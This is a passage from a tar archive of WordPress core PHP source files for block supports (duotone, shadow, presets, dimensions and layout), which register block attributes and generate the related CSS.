SOFTWARE. * * @package WordPress * @since 5.8.0 */ // Register the block support. WP_Block_Supports::get_instance()->register( 'duotone', array( 'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ), ) ); // Add classnames to blocks using duotone support. add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 ); // Enqueue styles. // Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles). // Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles). add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 ); add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 ); // Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css). add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 ); // Add styles and SVGs for use in the editor via the EditorStyles component. add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 ); // Migrate the old experimental duotone support flag. add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/shadow.php���������������������������������������������������������������������������0000644�����������������00000004166�15120262027�0011535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Shadow block support flag. * * @package WordPress * @since 6.3.0 */ /** * Registers the style and shadow block attributes for block types that support it. * * @since 6.3.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_shadow_support( $block_type ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support ) { return; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( array_key_exists( 'shadow', $block_type->attributes ) ) { $block_type->attributes['shadow'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for shadow features to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 6.3.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Shadow CSS classes and inline styles. */ function wp_apply_shadow_support( $block_type, $block_attributes ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support ) { return array(); } $shadow_block_styles = array(); $preset_shadow = array_key_exists( 'shadow', $block_attributes ) ? "var:preset|shadow|{$block_attributes['shadow']}" : null; $custom_shadow = isset( $block_attributes['style']['shadow'] ) ? $block_attributes['style']['shadow'] : null; $shadow_block_styles['shadow'] = $preset_shadow ? $preset_shadow : $custom_shadow; $attributes = array(); $styles = wp_style_engine_get_styles( $shadow_block_styles ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'shadow', array( 'register_attribute' => 'wp_register_shadow_support', 'apply' => 'wp_apply_shadow_support', ) ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/settings.php�������������������������������������������������������������������������0000644�����������������00000011025�15120262027�0012100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Block level presets support. * * @package WordPress * @since 6.2.0 */ /** * Get the class name used on block level presets. * * @internal * * @since 6.2.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function _wp_get_presets_class_name( $block ) { return 'wp-settings-' . md5( serialize( $block ) ); } /** * Update the block content with block level presets class name. * * @internal * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function _wp_add_block_level_presets_class( $block_content, $block ) { if ( ! $block_content ) { return $block_content; } // return early if the block doesn't have support for settings. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return $block_content; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return $block_content; } // Like the layout hook this assumes the hook only applies to blocks with a single wrapper. // Add the class name to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( _wp_get_presets_class_name( $block ) ); } return $tags->get_updated_html(); } /** * Render the block level presets stylesheet. * * @internal * * @since 6.2.0 * @since 6.3.0 Updated preset styles to use Selectors API. * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * * @return null */ function _wp_add_block_level_preset_styles( $pre_render, $block ) { // Return early if the block has not support for descendent block styles. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return null; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return null; } $class_name = '.' . _wp_get_presets_class_name( $block ); // the root selector for preset variables needs to target every possible block selector // in order for the general setting to override any bock specific setting of a parent block or // the site root. $variables_root_selector = '*,[class*="wp-block"]'; $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); foreach ( $blocks as $block_type ) { /* * We only want to append selectors for blocks using custom selectors * i.e. not `wp-block-<name>`. */ $has_custom_selector = ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) || ( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) ); if ( $has_custom_selector ) { $variables_root_selector .= ',' . wp_get_block_css_selector( $block_type ); } } $variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector ); // Remove any potentially unsafe styles. $theme_json_shape = WP_Theme_JSON::remove_insecure_properties( array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => $block_settings, ) ); $theme_json_object = new WP_Theme_JSON( $theme_json_shape ); $styles = ''; // include preset css variables declaration on the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'variables' ), null, array( 'root_selector' => $variables_root_selector, 'scope' => $class_name, ) ); // include preset css classes on the the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'presets' ), null, array( 'root_selector' => $class_name . ',' . $class_name . ' *', 'scope' => $class_name, ) ); if ( ! empty( $styles ) ) { wp_enqueue_block_support_styles( $styles ); } return null; } add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 ); add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/utils.php����������������������������������������������������������������������������0000644�����������������00000001763�15120262027�0011410 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Block support utility functions. * * @package WordPress * @subpackage Block Supports * @since 6.0.0 */ /** * Checks whether serialization of the current block's supported properties * should occur. * * @since 6.0.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param string $feature_set Name of block support feature set.. * @param string $feature Optional name of individual feature to check. * * @return bool Whether to serialize block support styles & classes. */ function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) { if ( ! is_object( $block_type ) || ! $feature_set ) { return false; } $path = array( $feature_set, '__experimentalSkipSerialization' ); $skip_serialization = _wp_array_get( $block_type->supports, $path, false ); if ( is_array( $skip_serialization ) ) { return in_array( $feature, $skip_serialization, true ); } return $skip_serialization; } �������������block-supports/dimensions.php�����������������������������������������������������������������������0000644�����������������00000005327�15120262027�0012420 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Dimensions block support flag. * * This does not include the `spacing` block support even though that visually * appears under the "Dimensions" panel in the editor. It remains in its * original `spacing.php` file for compatibility with core. * * @package WordPress * @since 5.9.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.9.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_dimensions_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_dimensions_support = block_has_support( $block_type, 'dimensions', false ); if ( $has_dimensions_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block dimensions to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.9.0 * @since 6.2.0 Added `minHeight` support. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block dimensions CSS classes and inline styles. */ function wp_apply_dimensions_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) { return array(); } $attributes = array(); // Width support to be added in near future. $has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false ); $block_styles = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null; if ( ! $block_styles ) { return $attributes; } $skip_min_height = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' ); $dimensions_block_styles = array(); $dimensions_block_styles['minHeight'] = null; if ( $has_min_height_support && ! $skip_min_height ) { $dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] ) ? $block_styles['dimensions']['minHeight'] : null; } $styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'dimensions', array( 'register_attribute' => 'wp_register_dimensions_support', 'apply' => 'wp_apply_dimensions_support', ) ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/layout.php���������������������������������������������������������������������������0000644�����������������00000100312�15120262027�0011553 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Layout block support flag. * * @package WordPress * @since 5.8.0 */ /** * Returns layout definitions, keyed by layout type. * * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type. * When making changes or additions to layout definitions, the corresponding JavaScript definitions should * also be updated. * * @since 6.3.0 * @access private * * @return array[] Layout definitions. */ function wp_get_layout_definitions() { $layout_definitions = array( 'default' => array( 'name' => 'default', 'slug' => 'flow', 'className' => 'is-layout-flow', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child:first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child:last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'constrained' => array( 'name' => 'constrained', 'slug' => 'constrained', 'className' => 'is-layout-constrained', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))', 'rules' => array( 'max-width' => 'var(--wp--style--global--content-size)', 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > .alignwide', 'rules' => array( 'max-width' => 'var(--wp--style--global--wide-size)', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child:first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child:last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'flex' => array( 'name' => 'flex', 'slug' => 'flex', 'className' => 'is-layout-flex', 'displayMode' => 'flex', 'baseStyles' => array( array( 'selector' => '', 'rules' => array( 'flex-wrap' => 'wrap', 'align-items' => 'center', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), 'grid' => array( 'name' => 'grid', 'slug' => 'grid', 'className' => 'is-layout-grid', 'displayMode' => 'grid', 'baseStyles' => array( array( 'selector' => ' > *', 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), ); return $layout_definitions; } /** * Registers the layout block attribute for block types that support it. * * @since 5.8.0 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_layout_support( $block_type ) { $support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); if ( $support_layout ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'layout', $block_type->attributes ) ) { $block_type->attributes['layout'] = array( 'type' => 'object', ); } } } /** * Generates the CSS corresponding to the provided layout. * * @since 5.9.0 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles. * @since 6.3.0 Added grid layout type. * @access private * * @param string $selector CSS selector. * @param array $layout Layout object. The one that is passed has already checked * the existence of default block layout. * @param bool $has_block_gap_support Optional. Whether the theme has support for the block gap. Default false. * @param string|string[]|null $gap_value Optional. The block gap value to apply. Default null. * @param bool $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false. * @param string $fallback_gap_value Optional. The block gap value to apply. Default '0.5em'. * @param array|null $block_spacing Optional. Custom spacing set on the block. Default null. * @return string CSS styles on success. Else, empty string. */ function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) { $layout_type = isset( $layout['type'] ) ? $layout['type'] : 'default'; $layout_styles = array(); if ( 'default' === $layout_type ) { if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'constrained' === $layout_type ) { $content_size = isset( $layout['contentSize'] ) ? $layout['contentSize'] : ''; $wide_size = isset( $layout['wideSize'] ) ? $layout['wideSize'] : ''; $justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center'; $all_max_width_value = $content_size ? $content_size : $wide_size; $wide_max_width_value = $wide_size ? $wide_size : $content_size; // Make sure there is a single CSS rule, and all tags are stripped for security. $all_max_width_value = safecss_filter_attr( explode( ';', $all_max_width_value )[0] ); $wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] ); $margin_left = 'left' === $justify_content ? '0 !important' : 'auto !important'; $margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important'; if ( $content_size || $wide_size ) { array_push( $layout_styles, array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'max-width' => $all_max_width_value, 'margin-left' => $margin_left, 'margin-right' => $margin_right, ), ), array( 'selector' => "$selector > .alignwide", 'declarations' => array( 'max-width' => $wide_max_width_value ), ), array( 'selector' => "$selector .alignfull", 'declarations' => array( 'max-width' => 'none' ), ) ); if ( isset( $block_spacing ) ) { $block_spacing_values = wp_style_engine_get_styles( array( 'spacing' => $block_spacing, ) ); /* * Handle negative margins for alignfull children of blocks with custom padding set. * They're added separately because padding might only be set on one side. */ if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) { $padding_right = $block_spacing_values['declarations']['padding-right']; $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ), ); } if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) { $padding_left = $block_spacing_values['declarations']['padding-left']; $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ), ); } } } if ( 'left' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-left' => '0 !important' ), ); } if ( 'right' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-right' => '0 !important' ), ); } if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'flex' === $layout_type ) { $layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal'; $justify_content_options = array( 'left' => 'flex-start', 'right' => 'flex-end', 'center' => 'center', ); $vertical_alignment_options = array( 'top' => 'flex-start', 'center' => 'center', 'bottom' => 'flex-end', ); if ( 'horizontal' === $layout_orientation ) { $justify_content_options += array( 'space-between' => 'space-between' ); $vertical_alignment_options += array( 'stretch' => 'stretch' ); } else { $justify_content_options += array( 'stretch' => 'stretch' ); $vertical_alignment_options += array( 'space-between' => 'space-between' ); } if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-wrap' => 'nowrap' ), ); } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { $process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); if ( null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } if ( 'horizontal' === $layout_orientation ) { /* * Add this style only if is not empty for backwards compatibility, * since we intend to convert blocks that had flex layout implemented * by custom css. */ if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-direction' => 'column' ), ); if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ), ); } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => 'flex-start' ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } } elseif ( 'grid' === $layout_type ) { if ( ! empty( $layout['columnCount'] ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ), ); } else { $minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem'; $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))' ), ); } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { $process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); if ( null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } } if ( ! empty( $layout_styles ) ) { /* * Add to the style engine store to enqueue and render layout styles. * Return compiled layout styles to retain backwards compatibility. * Since https://github.com/WordPress/gutenberg/pull/42452, * wp_enqueue_block_support_styles is no longer called in this block supports file. */ return wp_style_engine_get_stylesheet_from_css_rules( $layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); } return ''; } /** * Renders the layout config to the block wrapper. * * @since 5.8.0 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles. * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_layout_support_flag( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); $layout_from_parent = isset( $block['attrs']['style']['layout']['selfStretch'] ) ? $block['attrs']['style']['layout']['selfStretch'] : null; if ( ! $block_supports_layout && ! $layout_from_parent ) { return $block_content; } $outer_class_names = array(); if ( 'fixed' === $layout_from_parent || 'fill' === $layout_from_parent ) { $container_content_class = wp_unique_id( 'wp-container-content-' ); $child_layout_styles = array(); if ( 'fixed' === $layout_from_parent && isset( $block['attrs']['style']['layout']['flexSize'] ) ) { $child_layout_styles[] = array( 'selector' => ".$container_content_class", 'declarations' => array( 'flex-basis' => $block['attrs']['style']['layout']['flexSize'], 'box-sizing' => 'border-box', ), ); } elseif ( 'fill' === $layout_from_parent ) { $child_layout_styles[] = array( 'selector' => ".$container_content_class", 'declarations' => array( 'flex-grow' => '1', ), ); } wp_style_engine_get_stylesheet_from_css_rules( $child_layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); $outer_class_names[] = $container_content_class; } // Prep the processor for modifying the block output. $processor = new WP_HTML_Tag_Processor( $block_content ); // Having no tags implies there are no tags onto which to add class names. if ( ! $processor->next_tag() ) { return $block_content; } /* * A block may not support layout but still be affected by a parent block's layout. * * In these cases add the appropriate class names and then return early; there's * no need to investigate on this block whether additional layout constraints apply. */ if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } $global_settings = wp_get_global_settings(); $fallback_layout = isset( $block_type->supports['layout']['default'] ) ? $block_type->supports['layout']['default'] : array(); if ( empty( $fallback_layout ) ) { $fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] ) ? $block_type->supports['__experimentalLayout']['default'] : array(); } $used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout; $class_names = array(); $layout_definitions = wp_get_layout_definitions(); /* * Uses an incremental ID that is independent per prefix to make sure that * rendering different numbers of blocks doesn't affect the IDs of other * blocks. Makes the CSS class names stable across paginations * for features like the enhanced pagination of the Query block. */ $container_class = wp_unique_prefixed_id( 'wp-container-' . sanitize_title( $block['blockName'] ) . '-layout-' ); // Set the correct layout type for blocks using legacy content width. if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) { $used_layout['type'] = 'constrained'; } $root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] ) ? $global_settings['useRootPaddingAwareAlignments'] : false; if ( $root_padding_aware_alignments && isset( $used_layout['type'] ) && 'constrained' === $used_layout['type'] ) { $class_names[] = 'has-global-padding'; } /* * The following section was added to reintroduce a small set of layout classnames that were * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is * not intended to provide an extended set of classes to match all block layout attributes * here. */ if ( ! empty( $block['attrs']['layout']['orientation'] ) ) { $class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] ); } if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) { $class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] ); } if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) { $class_names[] = 'is-nowrap'; } // Get classname for layout type. if ( isset( $used_layout['type'] ) ) { $layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] ) ? $layout_definitions[ $used_layout['type'] ]['className'] : ''; } else { $layout_classname = isset( $layout_definitions['default']['className'] ) ? $layout_definitions['default']['className'] : ''; } if ( $layout_classname && is_string( $layout_classname ) ) { $class_names[] = sanitize_title( $layout_classname ); } /* * Only generate Layout styles if the theme has not opted-out. * Attribute-based Layout classnames are output in all cases. */ if ( ! current_theme_supports( 'disable-layout-styles' ) ) { $gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] ) ? $block['attrs']['style']['spacing']['blockGap'] : null; /* * Skip if gap value contains unsupported characters. * Regex for CSS value borrowed from `safecss_filter_attr`, and used here * to only match against the value, not the CSS attribute. */ if ( is_array( $gap_value ) ) { foreach ( $gap_value as $key => $value ) { $gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; } } else { $gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value; } $fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ) ? $block_type->supports['spacing']['blockGap']['__experimentalDefault'] : '0.5em'; $block_spacing = isset( $block['attrs']['style']['spacing'] ) ? $block['attrs']['style']['spacing'] : null; /* * If a block's block.json skips serialization for spacing or spacing.blockGap, * don't apply the user-defined value to the styles. */ $should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' ); $block_gap = isset( $global_settings['spacing']['blockGap'] ) ? $global_settings['spacing']['blockGap'] : null; $has_block_gap_support = isset( $block_gap ); $style = wp_get_layout_style( ".$container_class.$container_class", $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value, $block_spacing ); // Only add container class and enqueue block support styles if unique styles were generated. if ( ! empty( $style ) ) { $class_names[] = $container_class; } } // Add combined layout and block classname for global styles to hook onto. $block_name = explode( '/', $block['blockName'] ); $class_names[] = 'wp-block-' . end( $block_name ) . '-' . $layout_classname; // Add classes to the outermost HTML tag if necessary. if ( ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $outer_class_name ) { $processor->add_class( $outer_class_name ); } } /** * Attempts to refer to the inner-block wrapping element by its class attribute. * * When examining a block's inner content, if a block has inner blocks, then * the first content item will likely be a text (HTML) chunk immediately * preceding the inner blocks. The last HTML tag in that chunk would then be * an opening tag for an element that wraps the inner blocks. * * There's no reliable way to associate this wrapper in $block_content because * it may have changed during the rendering pipeline (as inner contents is * provided before rendering) and through previous filters. In many cases, * however, the `class` attribute will be a good-enough identifier, so this * code finds the last tag in that chunk and stores the `class` attribute * so that it can be used later when working through the rendered block output * to identify the wrapping element and add the remaining class names to it. * * 